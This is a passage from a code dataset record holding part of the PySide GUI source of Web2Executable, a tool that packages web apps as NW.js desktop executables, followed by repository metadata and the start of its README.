errors with your '\n 'zip/tar files. They were deleted. Please '\n 'try to export again.')\n\n self.enable_ui_after_error()\n\n else:\n self.progress_text = 'Done extracting.'\n self.make_output_files_in_background()\n\n def cancel_download(self):\n \"\"\"Cancel downloading if the user presses the cancel button.\"\"\"\n self.progress_text = 'Download cancelled.'\n self.cancel_button.setEnabled(False)\n self.current_download_request.abort()\n\n def update_progress_bar(self, bytes_read, total_bytes):\n \"\"\"Show progress of download on the progress bar.\"\"\"\n self.progress_bar.setMaximum(total_bytes)\n self.progress_bar.setValue(bytes_read)\n\n def download_file(self, path, setting):\n \"\"\"Download an NW archive file.\n\n Args:\n path (string): the URL path of the file\n setting (Setting): The file setting to download\n \"\"\"\n if is_windows():\n path = path.replace('https', 'http')\n\n version_file = self.settings['base_url'].format(self.selected_version())\n\n sdk_build_setting = self.get_setting('sdk_build')\n sdk_build = sdk_build_setting.value\n\n location = self.get_setting('download_dir').value or config.download_path()\n\n if sdk_build:\n # Switch the download URL if an sdk build is selected\n path = utils.replace_right(path, 'nwjs', 'nwjs-sdk', 1)\n\n self.progress_text = 'Downloading {}'.format(path.replace(version_file,\n ''))\n\n url = QUrl(path)\n file_name = setting.save_file_path(self.selected_version(),\n location, sdk_build)\n\n archive_exists = QFile.exists(file_name)\n forced = self.get_setting('force_download').value\n\n # Don't download if file already exists\n if archive_exists and not forced:\n self.continue_downloading_or_extract()\n return\n\n self.downloading_file.setFileName(file_name)\n # If the file could not be opened, show the error and abort!\n if not self.downloading_file.open(QIODevice.WriteOnly):\n error = self.downloading_file.error().name\n self.show_error('Unable to save the file {}: {}.'.format(file_name,\n error))\n self.enable_ui()\n return\n\n request = QNetworkRequest()\n request.setUrl(url)\n request.setRawHeader(b\"User-Agent\", b\"Firefox 16.0\")\n\n reply = self.net_manager.get(request)\n reply.readyRead.connect(self.ready_read_file)\n reply.error[QNetworkReply.NetworkError].connect(self.network_error)\n reply.sslErrors.connect(self.network_ssl_error)\n reply.downloadProgress.connect(self.update_progress_bar)\n self.current_download_request = reply\n\n def network_ssl_error(self, error):\n self.download_error = error\n self.downloading_file.remove()\n self.show_error(f'Download failed: {error}.')\n self.http_request_aborted = True\n self.enable_ui_after_error()\n\n def network_error(self, error):\n self.download_error = error\n self.downloading_file.remove()\n self.show_error(f'Download failed: {error}.')\n self.http_request_aborted = True\n self.enable_ui_after_error()\n\n def ready_read_file(self):\n data = self.current_download_request.readAll()\n self.downloading_file.write(data)\n\n def create_icon_box(self, name, text):\n style = ('width:48px;height:48px;background-color:white;'\n 'border-radius:5px;border:1px solid rgb(50,50,50);')\n icon_label = QtWidgets.QLabel()\n icon_label.setStyleSheet(style)\n icon_label.setMaximumWidth(48)\n icon_label.setMinimumWidth(48)\n icon_label.setMaximumHeight(48)\n icon_label.setMinimumHeight(48)\n\n setattr(self, name, icon_label)\n\n icon_text = QtWidgets.QLabel(text)\n icon_text.setStyleSheet('font-size:10px;')\n icon_text.setAlignment(QtCore.Qt.AlignCenter)\n vbox = QVBoxLayout()\n vbox.setAlignment(QtCore.Qt.AlignCenter)\n vbox.addWidget(icon_label)\n vbox.addWidget(icon_text)\n vbox.setContentsMargins(0, 0, 0, 0)\n\n w = QtWidgets.QWidget()\n w.setLayout(vbox)\n w.setMaximumWidth(70)\n return w\n\n def create_project_info(self):\n \"\"\"Create the GroupBox that shows the user's project name and icons.\"\"\"\n group_box = QtWidgets.QGroupBox('An awesome web project called:')\n\n title_hbox = QHBoxLayout()\n title_hbox.setContentsMargins(10, 10, 10, 10)\n\n win_icon = self.create_icon_box('window_icon', 'Window Icon')\n exe_icon = self.create_icon_box('exe_icon', 'Exe Icon')\n mac_icon = self.create_icon_box('mac_icon', 'Mac Icon')\n\n self.title_label = QtWidgets.QLabel('TBD')\n self.title_label.setStyleSheet('font-size:20px; font-weight:bold;')\n title_hbox.addWidget(self.title_label)\n title_hbox.addWidget(QtWidgets.QLabel())\n title_hbox.addWidget(win_icon)\n title_hbox.addWidget(exe_icon)\n title_hbox.addWidget(mac_icon)\n\n vlayout = QtWidgets.QVBoxLayout()\n\n vlayout.setSpacing(5)\n vlayout.setContentsMargins(10, 5, 10, 5)\n\n vlayout.addLayout(title_hbox)\n\n group_box.setLayout(vlayout)\n\n return group_box\n\n def set_window_icon(self):\n icon_setting = self.get_setting('icon')\n mac_icon_setting = self.get_setting('mac_icon')\n exe_icon_setting = self.get_setting('exe_icon')\n self.set_icon(icon_setting.value, self.window_icon)\n\n if not mac_icon_setting.value:\n self.set_icon(icon_setting.value, self.mac_icon)\n if not exe_icon_setting.value:\n self.set_icon(icon_setting.value, self.exe_icon)\n\n def set_exe_icon(self):\n icon_setting = self.get_setting('exe_icon')\n self.set_icon(icon_setting.value, self.exe_icon)\n\n def set_mac_icon(self):\n icon_setting = self.get_setting('mac_icon')\n self.set_icon(icon_setting.value, self.mac_icon)\n\n def set_icon(self, icon_path, icon):\n \"\"\"\n Set the icon to the icon widget specified.\n\n Args:\n icon_path (string): the path to the new icon\n icon (QWidget): the widget to set the icon for\n \"\"\"\n if icon_path:\n icon_path = utils.path_join(self.project_dir(), icon_path)\n if os.path.exists(icon_path):\n if icon_path.endswith('.icns'):\n pngs = pngs_from_icns(icon_path)\n if pngs:\n bdata = QtCore.QByteArray(pngs[-1].data)\n image = QtGui.QImage.fromData(bdata, 'PNG')\n else:\n return\n else:\n image = QtGui.QImage(icon_path)\n trans = QtCore.Qt.SmoothTransformation\n if image.width() >= image.height():\n image = image.scaledToWidth(48, trans)\n else:\n image = image.scaledToHeight(48, trans)\n icon.setPixmap(QtGui.QPixmap.fromImage(image))\n icon.setStyleSheet('')\n return\n\n icon.setPixmap(None)\n icon.setStyleSheet(self.icon_style)\n\n def call_with_object(self, name, obj, *args, **kwargs):\n \"\"\"\n Allows arguments to be passed to click events so the calling object\n is not lost.\n \"\"\"\n def call(*cargs, **ckwargs):\n if hasattr(self, name):\n func = getattr(self, name)\n kwargs.update(ckwargs)\n func(obj, *(args+cargs), **kwargs)\n return call\n\n def find_child_by_name(self, name):\n \"\"\"Finds a GUI element by setting name\"\"\"\n return self.findChild(QtCore.QObject, name)\n\n def find_all_children(self, names):\n \"\"\"\n Find all children referenced by the names list.\n\n Args:\n names (list): a list of strings that are setting names\n \"\"\"\n children = []\n for child in self.find_children(QtCore.QObject):\n if child.object_name() in names:\n children.append(child)\n\n return children\n\n def project_name(self):\n \"\"\"Get the current GUI project name field.\"\"\"\n return self.find_child_by_name('app_name').text()\n\n def browse_dir(self):\n \"\"\"\n Open a directory browsing window for the user to choose a\n directory.\n \"\"\"\n dir_func = QtWidgets.QFileDialog.getExistingDirectory\n directory = dir_func(self, 'Find Project Directory',\n self.project_dir() or self.last_project_dir)\n\n if directory:\n self.load_project(directory)\n\n def load_project(self, directory, readonly=False):\n \"\"\"Load a new project from a directory.\"\"\"\n self.update_json = False\n self.readonly = readonly\n self.project_path = directory\n\n utils.save_recent_project(directory)\n utils.save_project_path(directory)\n\n self.update_recent_files()\n self.reset_settings()\n\n proj_name = os.path.basename(directory)\n self.title_label.setText(proj_name)\n\n self.init_main_field(directory)\n\n self.init_input_fields(proj_name)\n\n # Load the global json and then overwrite the settings with user\n # chosen values\n self.load_package_json()\n self.load_package_json(utils.get_data_file_path(config.GLOBAL_JSON_FILE))\n self.load_package_json(utils.path_join(self.project_dir(),\n config.WEB2EXE_JSON_FILE))\n\n default_dir = 'output'\n export_dir_setting = self.get_setting('export_dir')\n default_dir = export_dir_setting.value or default_dir\n self.output_line.setText(default_dir)\n\n script_setting = self.get_setting('custom_script')\n self.script_line.setText(script_setting.value)\n\n # Setup output name setting\n output_name_setting = self.get_setting('output_pattern')\n self.output_name_line.setText(output_name_setting.value)\n\n self.output_name_line.textChanged.connect(self.output_name_line.text_changed)\n self.output_name_line.textChanged.connect(self.completer.update)\n\n self.set_window_icon()\n self.open_export_button.setEnabled(True)\n\n blacklist_setting = self.get_setting('blacklist')\n whitelist_setting = self.get_setting('whitelist')\n\n output_blacklist = os.path.basename(self.output_dir())\n\n self.tree_browser.init(directory,\n whitelist=re.split('\\n?,?', whitelist_setting.value),\n blacklist=(re.split('\\n?,?', blacklist_setting.value) +\n ['*'+output_blacklist+'*']))\n\n self.update_json = True\n\n def init_main_field(self, directory):\n \"\"\"Initialize main html or php file.\"\"\"\n setting_input = self.find_child_by_name('main')\n\n if not setting_input.text():\n files = (glob.glob(utils.path_join(directory, 'index.html')) +\n glob.glob(utils.path_join(directory, 'index.php')) +\n glob.glob(utils.path_join(directory, 'index.htm')))\n if files:\n # get the first valid file and use that\n setting_input.setText(files[0].replace(self.project_dir() +\n os.path.sep,\n ''))\n\n def init_input_fields(self, proj_name):\n \"\"\"Initialize input fields with project name.\"\"\"\n app_name_input = self.find_child_by_name('app_name')\n name_input = self.find_child_by_name('name')\n name_setting = self.get_setting('name')\n title_input = self.find_child_by_name('title')\n id_input = self.find_child_by_name('id')\n\n if not name_input.text():\n name_input.setText(name_setting.filter_name(proj_name))\n\n if not app_name_input.text():\n app_name_input.setText(proj_name)\n\n if not title_input.text():\n title_input.setText(proj_name)\n\n if not id_input.text():\n id_input.setText(proj_name)\n\n def browse_out_dir(self):\n \"\"\"Browse for an output directory by showing a dialog.\"\"\"\n self.update_json = False\n directory = QtWidgets.QFileDialog.getExistingDirectory(self, \"Choose Output Directory\",\n (self.output_line.text() or\n self.project_dir() or\n self.last_project_dir))\n if directory:\n self.update_json = True\n self.output_line.setText(directory)\n\n def get_file(self, text_obj, setting):\n \"\"\"\n Show a file browsing dialog for choosing a file.\n\n Args:\n text_obj (QTextField): the text field widget to store the\n selected file name in\n setting (Setting): the related setting object\n \"\"\"\n file_path, _ = QtWidgets.QFileDialog.getOpenFileName(self, 'Choose File',\n (setting.last_value or\n self.project_dir() or\n QtCore.QDir.currentPath()),\n setting.file_types)\n if file_path:\n file_path = os.path.abspath(file_path) # fixes an issue with windows paths\n file_path = file_path.replace(self.project_dir()+os.path.sep, '')\n text_obj.setText(file_path)\n setting.last_value = file_path\n\n def get_file_reg(self, text_obj, setting, file_types):\n \"\"\"\n Open a file dialog with valid files specified with a regex.\n\n Args:\n text_obj (QTextField): the text field widget to store the\n selected file name in\n setting (Setting): the related setting object\n file_types (string): file types specified by a regex\n (eg. \"*.py|*.html\")\n \"\"\"\n file_path, _ = QtWidgets.QFileDialog.getOpenFileName(self, 'Choose File',\n (setting.last_value or\n self.project_dir() or\n QtCore.QDir.currentPath()),\n file_types)\n if file_path:\n file_path = os.path.abspath(file_path) # fixes an issue with windows paths\n file_path = file_path.replace(self.project_dir()+os.path.sep, '')\n text_obj.setText(file_path)\n setting.last_value = file_path\n\n def get_folder(self, text_obj, setting):\n \"\"\"\n Open a folder dialog to get a user chosen folder.\n\n Args:\n text_obj (QTextField): the text field widget to store the\n selected folder name in\n setting (Setting): the related setting object\n \"\"\"\n\n folder = QtWidgets.QFileDialog.getExistingDirectory(self, 'Choose Folder',\n (setting.last_value or\n QtCore.QDir.currentPath()))\n if folder:\n folder = folder.replace(self.project_dir()+os.path.sep, '')\n text_obj.setText(folder)\n setting.last_value = folder\n\n def create_application_settings(self):\n group_box = QtWidgets.QWidget()\n app_setting = self.settings['order']['application_setting_order']\n vlayout = self.create_layout(app_setting, cols=3)\n\n group_box.setLayout(vlayout)\n return group_box\n\n def create_compression_settings(self):\n group_box = QtWidgets.QWidget()\n comp_setting = self.settings['order']['compression_setting_order']\n vlayout = self.create_layout(comp_setting, cols=1)\n warning_label = QtWidgets.QLabel('Note: When using compression (greater '\n 'than 0) it will decrease the executable '\n 'size,\\nbut will increase the startup '\n 'time when running it.')\n vbox = QtWidgets.QVBoxLayout()\n vbox.addLayout(vlayout)\n vbox.addWidget(warning_label)\n group_box.setLayout(vbox)\n return group_box\n\n def create_setting(self, name):\n \"\"\"\n Handle all of the dynamic setting creation logic based on the\n setting name.\n\n Args:\n name (string): the name of the setting to create\n \"\"\"\n setting = self.get_setting(name)\n res = None\n\n if setting.type == 'string' or setting.type == 'int':\n res = self.create_text_input_setting(name)\n elif setting.type == 'strings':\n res = self.create_text_input_setting(name)\n elif setting.type == 'file':\n res = self.create_text_input_with_file_setting(name)\n elif setting.type == 'folder':\n res = self.create_text_input_with_folder_setting(name)\n elif setting.type == 'check':\n res = self.create_check_setting(name)\n elif setting.type == 'list':\n res = self.create_list_setting(name)\n elif setting.type == 'range':\n res = self.create_range_setting(name)\n\n return res\n\n def create_window_settings(self):\n group_box = QtWidgets.QWidget()\n win_setting_order = self.settings['order']['window_setting_order']\n vlayout = self.create_layout(win_setting_order, cols=3)\n\n group_box.setLayout(vlayout)\n return group_box\n\n def create_export_settings(self):\n group_box = QtWidgets.QWidget()\n\n ex_setting_order = self.settings['order']['export_setting_order']\n\n vlayout = self.create_layout(ex_setting_order, cols=1)\n vlayout.setContentsMargins(0, 10, 0, 0)\n\n output_name_layout = self.create_output_name_pattern_line()\n\n output_layout = self.create_output_directory_line()\n\n script_layout = self.create_script_layout()\n\n hlayout = QtWidgets.QHBoxLayout()\n\n platform_group = QtWidgets.QGroupBox('Platforms')\n platform_group.setContentsMargins(0, 10, 0, 0)\n playout = QtWidgets.QVBoxLayout()\n playout.addLayout(vlayout)\n platform_group.setLayout(playout)\n\n hlayout.addWidget(platform_group)\n\n tree_layout = self.create_blacklist_layout(hlayout)\n tree_layout.setContentsMargins(0, 10, 0, 0)\n\n vbox = QtWidgets.QVBoxLayout()\n vbox.addLayout(hlayout)\n vbox.addLayout(output_name_layout)\n vbox.addLayout(output_layout)\n vbox.addLayout(script_layout)\n\n group_box.setLayout(vbox)\n return group_box\n\n def create_blacklist_layout(self, blacklist_layout):\n\n self.tree_browser = TreeBrowser()\n self.file_tree = self.tree_browser.file_tree\n self.tree_browser.setContentsMargins(0, 0, 0, 0)\n\n self.blacklist_text = QtWidgets.QPlainTextEdit()\n self.whitelist_text = QtWidgets.QPlainTextEdit()\n\n hlayout = QtWidgets.QHBoxLayout()\n\n blacklayout = QtWidgets.QVBoxLayout()\n whitelayout = QtWidgets.QHBoxLayout()\n\n blacklayout.addWidget(self.blacklist_text)\n whitelayout.addWidget(self.whitelist_text)\n\n whitelist_setting = self.get_setting('whitelist')\n blacklist_setting = self.get_setting('blacklist')\n\n self.blacklist_text.setStatusTip(blacklist_setting.description)\n self.whitelist_text.setStatusTip(whitelist_setting.description)\n\n self.blacklist_text.setObjectName(blacklist_setting.name)\n self.whitelist_text.setObjectName(whitelist_setting.name)\n\n blackgroup = QtWidgets.QGroupBox(blacklist_setting.display_name)\n whitegroup = QtWidgets.QGroupBox(whitelist_setting.display_name)\n\n blackgroup.setLayout(blacklayout)\n whitegroup.setLayout(whitelayout)\n\n blacklist_layout.addWidget(blackgroup)\n blacklist_layout.addWidget(whitegroup)\n blacklist_layout.addWidget(self.tree_browser)\n\n self.blacklist_text.textChanged.connect(\n self.call_with_object('setting_changed',\n self.blacklist_text,\n blacklist_setting)\n )\n\n self.whitelist_text.textChanged.connect(\n self.call_with_object('setting_changed',\n self.whitelist_text,\n whitelist_setting)\n )\n\n self.blacklist_text.textChanged.connect(\n self.call_with_object('blacklist_changed',\n self.blacklist_text,\n blacklist_setting)\n )\n\n self.whitelist_text.textChanged.connect(\n self.call_with_object('whitelist_changed',\n self.whitelist_text,\n whitelist_setting)\n )\n\n return blacklist_layout\n\n def blacklist_changed(self, text, blacklist_setting):\n new_val = text.toPlainText()\n output_blacklist = os.path.basename(self.output_dir())\n self.tree_browser.refresh(blacklist=(re.split('\\n?,?', new_val) +\n ['*'+output_blacklist+'*']))\n\n def whitelist_changed(self, text, whitelist_setting):\n new_val = text.toPlainText()\n self.tree_browser.refresh(whitelist=re.split('\\n?,?', new_val))\n\n def create_output_name_pattern_line(self):\n output_name_layout = QtWidgets.QHBoxLayout()\n\n output_name_setting = self.get_setting('output_pattern')\n output_name_label = QtWidgets.QLabel(output_name_setting.display_name+':')\n output_name_label.setMinimumWidth(155)\n\n tag_dict = self.get_tag_dict()\n self.output_name_line = CompleterLineEdit(tag_dict)\n\n completer = TagsCompleter(self.output_name_line, tag_dict)\n completer.setCaseSensitivity(Qt.CaseInsensitive)\n\n completer.activated.connect(self.output_name_line.complete_text)\n self.completer = completer\n self.completer.setWidget(self.output_name_line)\n\n self.output_name_line.textChanged.connect(\n self.call_with_object('setting_changed',\n self.output_name_line,\n output_name_setting)\n )\n\n self.output_name_line.setStatusTip(output_name_setting.description)\n\n output_name_layout.addWidget(output_name_label)\n output_name_layout.addWidget(self.output_name_line)\n return output_name_layout\n\n def create_output_directory_line(self):\n output_layout = QtWidgets.QHBoxLayout()\n\n ex_dir_setting = self.get_setting('export_dir')\n output_label = QtWidgets.QLabel(ex_dir_setting.display_name+':')\n output_label.setMinimumWidth(155)\n self.output_line = QtWidgets.QLineEdit()\n\n self.output_line.textChanged.connect(\n self.call_with_object('setting_changed',\n self.output_line,\n ex_dir_setting)\n )\n\n self.output_line.textChanged.connect(self.project_path_changed)\n self.output_line.setStatusTip(ex_dir_setting.description)\n output_button = QtWidgets.QPushButton('...')\n output_button.clicked.connect(self.browse_out_dir)\n\n output_layout.addWidget(output_label)\n output_layout.addWidget(self.output_line)\n output_layout.addWidget(output_button)\n\n return output_layout\n\n def create_script_layout(self):\n script_layout = QtWidgets.QHBoxLayout()\n\n script_setting = self.get_setting('custom_script')\n script_label = QtWidgets.QLabel(script_setting.display_name+':')\n script_label.setMinimumWidth(155)\n\n self.script_line = QtWidgets.QLineEdit()\n\n self.script_line.setObjectName(script_setting.name)\n\n self.script_line.textChanged.connect(\n self.call_with_object('setting_changed',\n self.script_line,\n script_setting)\n )\n self.script_line.setStatusTip(script_setting.description)\n script_button = QtWidgets.QPushButton('...')\n\n file_types = ['*.py']\n\n if platform.system() == 'Windows':\n file_types.append('*.bat')\n else:\n file_types.append('*.bash')\n\n script_button.clicked.connect(\n self.call_with_object('get_file_reg',\n self.script_line,\n script_setting,\n ' '.join(file_types))\n )\n\n script_layout.addWidget(script_label)\n script_layout.addWidget(self.script_line)\n script_layout.addWidget(script_button)\n\n return script_layout\n\n def create_download_settings(self):\n group_box = QtWidgets.QWidget()\n dl_setting = self.settings['order']['download_setting_order']\n vlayout = self.create_layout(dl_setting, cols=1)\n\n group_box.setLayout(vlayout)\n return group_box\n\n def create_layout(self, settings, cols=3):\n \"\"\"\n Create the generic layout for a group of settings.\n\n Args:\n settings (list): all settings to be part of the layout\n cols (int): number of columns to divide up the layout\n \"\"\"\n\n glayout = QtWidgets.QGridLayout()\n glayout.setContentsMargins(10, 15, 10, 5)\n glayout.setAlignment(QtCore.Qt.AlignTop)\n glayout.setSpacing(10)\n glayout.setHorizontalSpacing(20)\n col = 0\n row = 0\n\n for setting_name in settings:\n setting = self.get_setting(setting_name)\n if col >= cols*2:\n row += 1\n col = 0\n display_name = setting.display_name+':'\n if setting.required:\n display_name += '*'\n setting_label = QtWidgets.QLabel(display_name)\n setting_label.setToolTip(setting.description)\n setting_label.setStatusTip(setting.description)\n glayout.addWidget(setting_label, row, col)\n glayout.addLayout(self.create_setting(setting_name),\n row, col+1)\n col += 2\n\n return glayout\n\n def create_text_input_setting(self, name):\n \"\"\"Create a generic text input with the setting name.\"\"\"\n hlayout = QtWidgets.QHBoxLayout()\n\n setting = self.get_setting(name)\n\n text = QtWidgets.QLineEdit()\n text.setValidator(Validator(setting.filter, setting.filter_action))\n text.setObjectName(setting.name)\n\n text.textChanged.connect(self.call_with_object('setting_changed',\n text, setting))\n if setting.value:\n text.setText(setting.value)\n text.setStatusTip(setting.description)\n text.setToolTip(setting.description)\n\n hlayout.addWidget(text)\n\n return hlayout\n\n def create_text_input_with_file_setting(self, name):\n \"\"\"\n Create a generic text input and file browse button with the\n setting name.\n \"\"\"\n hlayout = QtWidgets.QHBoxLayout()\n\n setting = self.get_setting(name)\n\n text = QtWidgets.QLineEdit()\n text.setObjectName(setting.name)\n\n button = QtWidgets.QPushButton('...')\n button.setMaximumWidth(30)\n button.setMaximumHeight(26)\n\n button.clicked.connect(self.call_with_object('get_file',\n text, setting))\n\n if setting.value:\n text.setText(setting.value)\n text.setStatusTip(setting.description)\n text.setToolTip(setting.description)\n\n text.textChanged.connect(self.call_with_object('setting_changed',\n text, setting))\n\n hlayout.addWidget(text)\n hlayout.addWidget(button)\n\n return hlayout\n\n def create_text_input_with_folder_setting(self, name):\n \"\"\"\n Create a generic text input and folder browse button with the\n setting name.\n \"\"\"\n hlayout = QtWidgets.QHBoxLayout()\n\n setting = self.get_setting(name)\n\n text = QtWidgets.QLineEdit()\n text.setObjectName(setting.name)\n\n button = QtWidgets.QPushButton('...')\n button.setMaximumWidth(30)\n button.setMaximumHeight(26)\n\n button.clicked.connect(self.call_with_object('get_folder',\n text, setting))\n\n if setting.value:\n text.setText(setting.value)\n text.setStatusTip(setting.description)\n text.setToolTip(setting.description)\n\n text.textChanged.connect(self.call_with_object('setting_changed',\n text, setting))\n\n hlayout.addWidget(text)\n hlayout.addWidget(button)\n\n return hlayout\n\n def reset_settings(self):\n \"\"\"Reset all of the settings to their defaults.\"\"\"\n for sgroup in self.settings['setting_groups']:\n for setting in sgroup.values():\n widget = self.find_child_by_name(setting.name)\n if widget is None or setting.value is None:\n continue\n\n if (setting.type == 'string' or\n setting.type == 'file' or\n setting.type == 'folder' or\n setting.type == 'int'):\n old_val = ''\n\n if setting.default_value is not None:\n old_val = setting.default_value\n\n setting.value = old_val.replace('\\\\', '\\\\\\\\')\n if hasattr(widget, 'setText'):\n widget.setText(old_val)\n elif hasattr(widget, 'setPlainText'):\n widget.setPlainText(old_val)\n elif setting.type == 'strings':\n old_val = []\n if setting.default_value is not None:\n old_val = setting.default_value\n setting.value = [v.replace('\\\\', '\\\\\\\\') for v in old_val]\n widget.setText(','.join(setting.value))\n\n elif setting.type == 'check':\n old_val = False\n\n if setting.default_value is not None:\n old_val = setting.default_value\n\n setting.value = old_val\n widget.setChecked(old_val)\n\n elif setting.type == 'range':\n old_val = 0\n if setting.default_value is not None:\n old_val = setting.default_value\n setting.value = old_val\n widget.setValue(old_val)\n\n def set_kiosk_emulation_options(self, is_checked):\n \"\"\"Emulate kiosk mode on platforms that don't support it.\"\"\"\n if is_checked:\n width_field = self.find_child_by_name('width')\n width_field.setText(str(self.desktop_width))\n\n height_field = self.find_child_by_name('height')\n height_field.setText(str(self.desktop_height))\n\n frame_field = self.find_child_by_name('frame')\n frame_field.setChecked(not is_checked)\n\n show_field = self.find_child_by_name('show')\n show_field.setChecked(is_checked)\n\n kiosk_field = self.find_child_by_name('kiosk')\n kiosk_field.setChecked(not is_checked)\n\n fullscreen_field = self.find_child_by_name('fullscreen')\n fullscreen_field.setChecked(not is_checked)\n\n always_on_top_field = self.find_child_by_name('always_on_top')\n always_on_top_field.setChecked(is_checked)\n\n resizable_field = self.find_child_by_name('resizable')\n resizable_field.setChecked(not is_checked)\n\n def setting_changed(self, obj, setting, *args):\n \"\"\"\n If a setting changes in the GUI, this method will set the\n corresponding data to the same value. It will also update any\n json files in order to persist the changes.\n \"\"\"\n\n if (setting.type == 'string' or\n setting.type == 'file' or\n setting.type == 'folder' or\n setting.type == 'int'):\n if args:\n setting.value = args[0]\n else:\n setting.value = obj.toPlainText()\n\n if not setting.value:\n setting.value = setting.default_value\n elif setting.type == 'strings':\n setting.value = args[0].split(',')\n setting.value = [x.strip() for x in setting.value if x]\n if not setting.value:\n setting.value = setting.default_value\n elif setting.type == 'check':\n setting.value = obj.isChecked()\n check_action = setting.check_action\n if hasattr(self, check_action):\n getattr(self, check_action)(obj.isChecked())\n elif setting.type == 'list':\n setting.value = obj.currentText()\n if not setting.value:\n setting.value = setting.default_value\n elif setting.type == 'range':\n setting.value = obj.value()\n\n if setting.action is not None:\n action = getattr(self, setting.action, None)\n if callable(action):\n action()\n\n self.write_package_json()\n\n self.ex_button.setEnabled(self.required_settings_filled())\n\n def project_path_changed(self, _):\n \"\"\"If the project path changes, this checks to see if it's valid.\"\"\"\n self.ex_button.setEnabled(self.required_settings_filled(True))\n\n dirs_filled_out = False\n if self.project_dir() and self.output_dir():\n if os.path.exists(self.project_dir()):\n dirs_filled_out = True\n\n self.option_settings_enabled(dirs_filled_out)\n\n def create_check_setting(self, name):\n \"\"\"Create a generic checkbox setting in the GUI.\"\"\"\n hlayout = QtWidgets.QHBoxLayout()\n\n setting = self.get_setting(name)\n\n check = QtWidgets.QCheckBox()\n\n check.setObjectName(setting.name)\n\n check.clicked.connect(self.call_with_object('setting_changed',\n check, setting))\n check.setChecked(setting.value or False)\n check.setStatusTip(setting.description)\n check.setToolTip(setting.description)\n\n hlayout.addWidget(check)\n\n return hlayout\n\n def create_list_setting(self, name):\n \"\"\"Create a generic list combobox setting from the setting name.\"\"\"\n hlayout = QtWidgets.QHBoxLayout()\n\n setting = self.get_setting(name)\n\n button = None\n if setting.button:\n button = QtWidgets.QPushButton(setting.button)\n button.clicked.connect(lambda: setting.button_callback(button))\n combo = QtWidgets.QComboBox()\n\n combo.setObjectName(setting.name)\n\n combo.currentIndexChanged.connect(self.call_with_object('setting_changed',\n combo, setting))\n combo.editTextChanged.connect(self.call_with_object('setting_changed',\n combo, setting))\n\n combo.setStatusTip(setting.description)\n combo.setToolTip(setting.description)\n\n for val in setting.values:\n combo.addItem(val)\n\n default_index = combo.findText(setting.default_value)\n if default_index != -1:\n combo.setCurrentIndex(default_index)\n\n hlayout.addWidget(QtWidgets.QLabel())\n hlayout.addWidget(combo)\n if button:\n hlayout.addWidget(button)\n\n return hlayout\n\n def create_range_setting(self, name):\n \"\"\"\n Create a generic range setting with a slider based on the\n setting values.\n \"\"\"\n hlayout = QtWidgets.QHBoxLayout()\n\n setting = self.get_setting(name)\n\n button = None\n if setting.button:\n button = QtWidgets.QPushButton(setting.button)\n button.clicked.connect(lambda: setting.button_callback(button))\n\n slider = QtWidgets.QSlider(QtCore.Qt.Orientation.Horizontal)\n slider.setRange(setting.min, setting.max)\n slider.valueChanged.connect(self.call_with_object('setting_changed',\n slider, setting))\n\n slider.setObjectName(setting.name)\n slider.setValue(setting.default_value or 0)\n slider.setStatusTip(setting.description)\n slider.setToolTip(setting.description)\n\n range_label = QtWidgets.QLabel(str(setting.default_value))\n range_label.setMaximumWidth(30)\n\n slider.valueChanged.connect(self.call_with_object('_update_range_label',\n range_label))\n\n w = QtWidgets.QWidget()\n whlayout = QtWidgets.QHBoxLayout()\n whlayout.addWidget(slider)\n whlayout.addWidget(range_label)\n w.setLayout(whlayout)\n\n hlayout.addWidget(w)\n\n return hlayout\n\n def _update_range_label(self, label, value):\n \"\"\"Update the range label for a setting created with\n `create_range_setting`.\n \"\"\"\n label.setText(str(value))\n\n def load_package_json(self, json_path=None):\n setting_list = super(MainWindow, self).load_package_json(json_path)\n for setting in setting_list:\n setting_field = self.find_child_by_name(setting.name)\n if setting_field and setting.value is not None:\n if (setting.type == 'file' or\n setting.type == 'string' or\n setting.type == 'folder' or\n setting.type == 'int'):\n val_str = self.convert_val_to_str(setting.value)\n if hasattr(setting_field, 'setText'):\n setting_field.setText(setting.filter_name(val_str))\n elif hasattr(setting_field, 'setPlainText'):\n setting_field.setPlainText(setting.filter_name(val_str))\n if setting.type == 'strings':\n vals = [self.convert_val_to_str(v) for v in setting.value]\n setting_field.setText(','.join(vals))\n if setting.type == 'check':\n setting_field.setChecked(setting.value)\n if setting.type == 'list':\n val_str = self.convert_val_to_str(setting.value)\n index = setting_field.findText(val_str)\n if index != -1:\n setting_field.setCurrentIndex(index)\n if setting.type == 'range':\n setting_field.setValue(int(setting.value))\n self.ex_button.setEnabled(self.required_settings_filled())\n\n def show_and_raise(self):\n self.show()\n self.raise_()\n self.existing_dialog.show()\n self.existing_dialog.raise_()\n\n\ndef main():\n app = QApplication(sys.argv)\n\n QCoreApplication.setApplicationName(\"Web2Executable\")\n QCoreApplication.setApplicationVersion(__gui_version__)\n QCoreApplication.setOrganizationName(\"SimplyPixelated\")\n QCoreApplication.setOrganizationDomain(\"simplypixelated.com\")\n\n frame = MainWindow(900, 500, app)\n frame.show_and_raise()\n\n sys.exit(app.exec_())\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.752574622631073, "alphanum_fraction": 0.7658714652061462, "avg_line_length": 43.08620834350586, "blob_id": "560fe26b140468e2ae69cc26560548e40083ab1a", "content_id": "431cd09f2d6c470ea5e8120fb2ffb91e35949276", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7671, "license_type": "permissive", "max_line_length": 356, "num_lines": 174, "path": "/README.md", "repo_name": "jyapayne/Web2Executable", "src_encoding": "UTF-8", "text": "## Not being actively maintained!\n\nThank you all for using Web2Exe over the years! Unfortunately, I don't have the time to maintain this anymore (as you've probably noticed). If anyone wants to take over this repo let me know via email. If you use this and want paid support or you want to pay for further development, you can also contact me via email (which is on my Github profile).\n\n\nLatest Release:\n\n[![Github Releases (by Release)](https://img.shields.io/github/downloads/jyapayne/Web2Executable/latest/total.svg)]()\n\nAll Releases:\n\n[![Github All Releases](https://img.shields.io/github/downloads/jyapayne/Web2Executable/total.svg)]()\n\nWeb2Executable\n==============\n\n[Releases (Downloads)](https://github.com/jyapayne/Web2Executable/releases) (new!)\n\n\nWhat is it?\n-----------\n\nWeb2Executable is a friendly command line and GUI application that can transform your Nodejs (or any other JS/HTML) app into an executable (and libraries) that can run in a contained, desktop-like style. It can export to Mac OS X, Windows and Linux all from one platform, so no need to go out and buy expensive hardware.\n\nIt's powered by the very awesome project [NWJS](https://github.com/nwjs) and PySide, is open source, and is just dang awesome and easy to use.\n\nIf you have an idea for a feature, please create a new issue with a format like this: \"Feature - My Awesome New Feature\", along with a good description of what you'd like the 